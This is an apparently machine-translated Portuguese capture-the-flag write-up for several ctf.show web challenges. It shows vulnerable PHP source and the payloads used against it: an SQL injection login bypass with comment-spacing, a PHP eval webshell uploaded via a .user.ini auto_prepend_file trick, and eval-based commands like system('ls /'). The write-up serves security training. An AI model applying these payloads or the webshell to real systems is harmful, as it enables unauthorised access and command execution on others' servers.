Diretório de artigos
ctf.show_web10
Venha para a página é uma caixa de login
Clique no botão cancelar, o código-fonte aparece
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
Muitas instruções de injeção foram filtradas.
Group by e com rollup são usados principalmente aqui para combinar
group by, sem mencionar que é um arranjo, e o padrão é ordem crescente
com rollup (group by pode ser seguido por com rollup, o que significa que as estatísticas resumidas são executadas novamente com base nas estatísticas do grupo)
Haverá uma linha extra no resultado, onde a coluna de senha é nula e count (*) é a soma estatística.
Por exemplo:
select password,count(*) from test group by password with rollup;
Assim, construímos a carga útil:
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
Porque depois de adicionar com rollup, a senha tem uma linha de NULL, só precisamos inserir uma senha vazia para fazer (NULL==NULL), /**/ é usado para ignorar o filtro de espaço
Você pode obter a bandeira
ctfshow{d89ccf86-5ac9-4429-95e0-ea40b0afba89}
Dois, ctf.show_web11
Venha para a página inicial
Você pode ver que o código php tem muitas restrições.
Observe a maneira de obter o sinalizador $password==$_SESSION['password']
. A senha é inserida por nós mesmos. A senha na sessão é armazenada localmente, portanto, precisamos apenas inserir uma senha vazia e excluir a sessão local para ignorá-lo com sucesso.
Obter sinalizador:
ctfshow{5f4e07ee-e7d9-4302-8b7d-f3eabfa0ed16}
3. ctf.show_web12
Venha para a página inicial
Verifique o código-fonte primeiro
Há uma variável cmd de prompt, indicando que provavelmente há uma função de execução de código em segundo plano.
Insira phpinfo(); visualize as informações de configuração do php
Descobriu-se que muitos métodos de execução de comandos estão desabilitados.
Você também pode usar Highlight_file("index.php"); veja o código-fonte
Aqui está outra função php glob();
a função glob() retorna o nome do arquivo ou diretório correspondente o padrão especificado.
por exemplo:
glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件
Com este método, primeiro descobrimos todos os arquivos no diretório atual para ver se eles estão disponíveis. Input?cmd=print_r(glob(“*”)); imprima o seguinte arquivo
e depois leia o arquivo
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
Obter sinalizador:
ctfshow{2eb6ffd3-82c8-4718-a528-9b251e5a31e9}
4. ctf.show_web13
Venha para a página
e tente fazer upload do arquivo, mas não há efeito, encontre o diretório oculto
Upload.php encontrado, tente upload.php.bak para obter o arquivo de código-fonte
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
Obteve o código-fonte e descobriu que o tamanho do arquivo restritivo é <=24, o comprimento do nome é <=9, o comprimento do sufixo é <=3 e o nome e o sufixo não podem ter php, então tal cavalo de Tróia pode ser
construído
<?php eval($_POST['a']);
Devido ao sufixo, carregue primeiro 2.txt
e depois carregue o arquivo .user.ini.
O .user.ini no php tem a seguinte explicação:
o PHP irá procurar o nome do arquivo em cada diretório, se estiver configurado para uma string vazia o PHP não irá buscar, ou seja, se o nome do arquivo estiver configurado em .user. ini , qualquer página incluirá o conteúdo do arquivo.
Entramos auto_prepend_file = 2.txt em .user.ini, para que todos os arquivos neste diretório contenham o conteúdo de 2.txt
//
Depois que a espada for conectada, descobrimos que não há permissão para operar o arquivo, então entramos diretamente na página da web Procure a bandeira em.
Enviar com POST
a=print_r(glob("*"));
Em seguida, use Highlight_file () para obter o sinalizador
a=highlight_file("文件名");
5. Copo para Legumes
1. Login na Web
venha para a página
o código
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
Estou tentando há muito tempo, isso é realmente uma pergunta de login? Depois de ler o wp do grandalhão, resumir
a investigação é: a relação entre o método de solicitação e a atribuição, bem como a codificação chinesa do campo Cookie.
O principal motivo é o uso do último cavalo de Tróia de uma frase, que tem muitos aninhamentos. Vamos dar uma olhada: primeiro,
a parte mais interna é 'CTFshow-QQ group:', e a frente é $_COOKIE, ou seja, o 'grupo CTFshow-QQ' no cookie é obtido. O valor;
então, se o passarmos no cookie CTFshow-QQ群:=a
, o cavalo de Tróia de uma frase se tornará:
eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);
Então $_POST[a] é o valor do parâmetro a ser passado pelo POST, vamos passar em a=b
, então fica:
eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);
$_GET[b] é passar o valor do parâmetro b no modo GET e, em seguida, atribuir um valor a b b=c
para obter:
eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);
$_REQUEST[c][6][0][7][5][8][0][9][4][4]
, que $_REQUEST
pode ser solicitado de qualquer forma, c é um array e o valor passado na solicitação $_REQUEST é o [6][0][7][5][8][0][9][4][4]
valor da chave de ID no array C. Como as matrizes PHP podem atribuir valores às chaves de ID,
podemos atribuir valores diretamente a essas chaves na matriz C:
c[6][0][7][5][8][0][9][4][4]= system('ls /');
Então usamos o formulário POST para enviar o pacote, e preste atenção “群”
para usar url encoding %E7%BE%A4
, caso contrário o burp não irá reconhecê-lo (ao atribuir um valor a c, pode ser colocado no cabeçalho da requisição ou na entidade requisição, pois a requisição request pode estar na forma de get ou post. accept)
Aqui eu uso o hackbar convenientemente,
então pegamos o arquivo flagaaa, digitamos o comando cat /f1agaaa
para pegar o sinalizador
e ganhamos muito
2.web2 c0me_t0_s1gn
Quando cheguei à página
, fui informado de que havia informações a serem encontradas. Tentei usar Yujian e dirsearch para encontrar o diretório, mas não consegui encontrá-lo. Vi o código-fonte da página mais tarde. Eu vi
algumas informações sobre o sinalizador e seguiram o prompt específico para o console. Ele solicitou que
o método de operação encontrasse o sinalizador e
o encontrasse após a execução. As informações na segunda metade do sinalizador podem ser emendadas.
3. Eu só tenho $ em meus olhos
venha para a página
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
Você pode ver que o método post é usado para passar parâmetros. Aqui estamos examinando o aninhamento de variáveis, uma série de $
variáveis, a variável inicial deve ser _
, então precisamos definir as variáveis por sua vez e atribuí-las ao comando declaração de execução depois de fazê-lo, system('ls /');
e as variáveis não podem ser repetidas
Não é muito bom em escrever roteiros, consulte o grandalhão
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')
Modifique o comando para obter o sinalizador
Resumir
Acompanhamento continuará a compartilhar notas ctfshow